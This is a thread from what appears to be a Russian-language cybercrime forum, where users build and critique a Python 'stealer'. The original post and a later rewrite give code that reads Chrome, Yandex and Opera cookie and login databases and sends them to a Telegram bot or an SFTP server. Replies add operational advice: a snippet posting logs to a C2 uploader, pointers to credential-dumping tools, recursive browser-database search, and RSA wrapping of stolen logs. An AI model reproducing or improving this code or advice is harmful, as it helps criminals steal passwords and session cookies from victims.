• XSS.stack #1 – первый литературный журнал от юзеров форума

Python stealer

learner

ripper
КИДАЛА
Регистрация
13.01.2023
Сообщения
141
Реакции
71
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
вот скрипт вора на питоне, хотелось бы мнения более опытных людей

Python:
import getpass
import random
import telebot
import cryptography
from cryptography.fernet import Fernet

# Replace "YOUR_BOT_TOKEN" with your actual bot token
bot = telebot.TeleBot("YOUR_BOT_TOKEN")

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    #("firefox", "", "")
    ]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)
    for f in files:
        try:
            with open(fldr+f[1], "rb") as content:
                # Send the cookie data to Telegram
                bot.send_document(chat_id="YOUR_TELEGRAM_CHAT_ID", document=content.read())
            with open(fldr+f[2], "rb") as content:
                encrypted_pass = content.read()
                # Decrypt the password data
                decrypted_pass = cipher_suite.decrypt(encrypted_pass)
                # Send the decrypted password data to Telegram
                bot.send_message(chat_id="YOUR_TELEGRAM_CHAT_ID", text=decrypted_pass.decode())
        except Exception as err:
            #print(err)
            print('There is no '+f[0]+' here.')

check()
 
А если винда/профили не на с:\? Что ж вы так системные переменные не любите?
И не проще ли files в виде dict хранить?
PS. И как, работает на свежем хроме?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну если не разводить холивара по поводу "вора" на питоне, то есть несколько минусов.
1) Отправка в телеграм. А именно хранение токена на клиенте. Если и делается отстук в телегу, то делается через дополнительную прокладку в вебе, которая примет лог и отправит в телегу.
2) Куки. Во-первых, пути к кукам не совсем валидные. У меня по-райней мере хромиум based браузеры в другом месте хранят куки. Во-вторых, почему ты их не декриптишь? Они всё также зашифрованы если что.
3) Что-то не совсем понял, как декрипт происходит. Как это ты читаешь файл (который является базой sqlite) и просто его передаешь в декрипт, после чего ты получаешь некий массив байт (с чем?) ? Да и не очень понял, что это за декрипт без считывания ключа от aes.
Код на работоспособность не проверял, да и мало желания. Но общее впечатление, что это не работает,)) ТС, поясни за 3 пункт пожалуйста, я не особо вкурсе как работает Fernet. (но судя по доке, у тебя ничего не работает)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Eh bien, si vous n'élevez pas holivar sur le "voleur" en python, il y a plusieurs inconvénients.
1) Envoi au télégramme. À savoir, stocker le jeton sur le client. Si un tap est fait sur le panier, cela se fait via un rembourrage supplémentaire sur le Web, qui acceptera le journal et l'enverra au panier.
2) Biscuits. Premièrement, les chemins vers les cookies ne sont pas entièrement valides. Au moins, mes navigateurs à base de chrome stockent les cookies à un endroit différent. Deuxièmement, pourquoi ne pas les décrypter ? Ils sont également cryptés le cas échéant.
3) Quelque chose n'a pas bien compris comment le décryptage se produit. Comment lire un fichier (qui est la base de sqlite) et le passer simplement au déchiffrement, après quoi vous obtenez un certain tableau d'octets (avec quoi ?) ? Et je ne comprenais pas vraiment de quel type de déchiffrement il s'agissait sans lire la clé depuis aes.
Je n'ai pas vérifié les performances du code, et il y a peu de désir. Mais l'impression générale est que cela ne fonctionne pas,)) TS, expliquez pour le point 3 s'il vous plaît, je ne sais pas vraiment comment fonctionne Fernet. (mais à en juger par le quai, rien ne fonctionne pour vous)
Можете ли вы дать мне подробные решения для устранения каждой проблемы, которую вы нашли в коде?
 
Basically I won't be using python for anything related to malware, most of the packagers only save the source code inside the PE binary and run the interpreter in memory along with the source code. Anyways, better use environment variables, and registry keys when you can, also don't use standard python methods, try to leverage all the functionality with win32 api.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можете ли вы дать мне подробные решения для устранения каждой проблемы, которую вы нашли в коде?
1)
Python:
import requests

# for file
with open('log', 'rb') as f:
    requests.post("http://<your_c2>/uploader", files={'filename' : f})
Backend must send it to telegram. If you have backend on python use telebot. Otherwise use google!
2) Sometimes cookies located in Profile\Network\Cookies.
2.5 and 3) https://github.com/AlessandroZ/LaZagne
 
Ну если не разводить холивара по поводу "вора" на питоне, то есть несколько минусов.
1) Отправка в телеграм. А именно хранение токена на клиенте. Если и делается отстук в телегу, то делается через дополнительную прокладку в вебе, которая примет лог и отправит в телегу.
2) Куки. Во-первых, пути к кукам не совсем валидные. У меня по-райней мере хромиум based браузеры в другом месте хранят куки. Во-вторых, почему ты их не декриптишь? Они всё также зашифрованы если что.
3) Что-то не совсем понял, как декрипт происходит. Как это ты читаешь файл (который является базой sqlite) и просто его передаешь в декрипт, после чего ты получаешь некий массив байт (с чем?) ? Да и не очень понял, что это за декрипт без считывания ключа от aes.
Код на работоспособность не проверял, да и мало желания. Но общее впечатление, что это не работает,)) ТС, поясни за 3 пункт пожалуйста, я не особо вкурсе как работает Fernet. (но судя по доке, у тебя ничего не работает)
а че его проверять? по коду понятно, что он просто берёт файлы из папок и куда-то отправляет. Никакой дешифровки там нет, топикстартер наверное и не слышал об этом
 
Стиллер на питоне... Ну во первых переходи на C языки, а во вторых я тоже варился а этой нише. Во первых отправка через тг бота достаточно спорное решение. Потому что если жертва дешифрует скрипт то она узнает токен бота. А это влечёт к не самым лучшим последствиям. Лучше просто отправлять все это через email. Во первых проще, во вторых то что жертва дешифрует она получит не очень много данных. Куки - во первых слишком мало браузеров и пути могут оказаться не валидными что может просто прервать работу скрипта. Я видел оч много людей сидящих с того же самого firefox'а оперы gx и.т.д .
 
Если критикуешь предлагай. Тогда по чему будут отправляться данные владельцу стиллера.
Лучше по http(s) на лоадер нормальный, который х#йню принимать не будет что бы тебе шеллов полный сервак не нагрузили.
 
БД браузеров на хромиуме можно искать рекурсивно по шаблону, она у них называется одинаково. На клиенте нет смысла ничего декриптить, разве что при условии ориентирования на старые браузеры хромиума (там нужен дпапи). Стиллер в современных реалиях это сугубо отправка файлов на сервер и сбор системной инфы, основная логика должна быть на сервере, остальное - оверхед и гемор.
 
Лучше по http(s) на лоадер нормальный, который х#йню принимать не будет что бы тебе шеллов полный сервак не нагрузили.
Хорошая мысль. Но слишком мало инфы о авторе. Возможно он не умеет. Так это хорошая реализация.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если критикуешь предлагай. Тогда по чему будут отправляться данные владельцу стиллера.
Я думал это очевидно. Чтобы отправить почтой тебе нужно 2 почты. 1 на которую отсылаешь, другая с которой отправляешь.
Креды от почты, с которой отправляешь, будут лежать на клиенте видимо. То есть ты их палишь.
Если с токеном телеге еще может кому-то нужно будет разбираться, то в почту просто зайдут и спалят все логи. Ну и там от фантазии.
Лучший метод это просто отослать на веб морду. Просто по HTTP
 
Хорошая мысль. Но слишком мало инфы о авторе. Возможно он не умеет. Так это хорошая реализация.
Возможно так. Но если автор захочет, может обратиться мне в лс, я помогу с реализацией на том же питоне.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зашейте в стиллер публичный ключ RSA/ECC, для логов генерируйте псевдослучайный ключ и шифруйте любым нормальным симметричным алгоритмом, закрывайте этот ключ на публичном ключе, отправляйте все вместе хоть на сервак, хоть на имейл, хоть в телегу, никто ваши логи без приватного ключа не вскроет.
 
Зашейте в стиллер публичный ключ RSA/ECC, для логов генерируйте псевдослучайный ключ и шифруйте любым нормальным симметричным алгоритмом, закрывайте этот ключ на публичном ключе, отправляйте все вместе хоть на сервак, хоть на имейл, хоть в телегу, никто ваши логи без приватного ключа не вскроет.
Очень хороший совет, но нужно базовое понимание криптографии.
Будем следить за развитием и посмотрим что у автора выйдет в конце)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
никто ваши логи без приватного ключа не вскроет
Но ведь не только в логах проблема. Давать доступ к боту/акку почты уже не есть хорошо.
Да и просто напросто засрать могут всё это дело) Другое дело, если у тебя админка своя, которая не принимает больших логов и даёт бан на айпишник на минут 50. (предатору привет)
Потом еще есть проблема с банами c2. Будь то акк почты или тг бот. Если в саппорт отписывать, что это при помощи этой почты происходит незаконная деятельность, то её снесут.
Со своим сервером такого не будет (если допустим брать антиабуз)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем спасибо за отзывы, я последовал некоторым советам относительно Telegram, который не является безопасным, и других ошибок в моем коде, поэтому я переписал его.

Python:
import getpass
import random
import cryptography
from cryptography.fernet import Fernet
import paramiko

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    ]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)

    # Connect to the SFTP server
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('YOUR_SFTP_SERVER_HOST', username='YOUR_SFTP_SERVER_USERNAME', password='YOUR_SFTP_SERVER_PASSWORD')
    sftp = ssh.open_sftp()

    for f in files:
        try:
            with open(fldr+f[1], "rb") as content:
                encrypted_cookie = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_cookie, '/path/to/encrypted_cookies')
            with open(fldr+f[2], "rb") as content:
                encrypted_pass = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_pass, '/path/to/encrypted_pass')
        except Exception as err:
            print('There is no file for the browser: ', f[0])
    ssh.close()

check()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх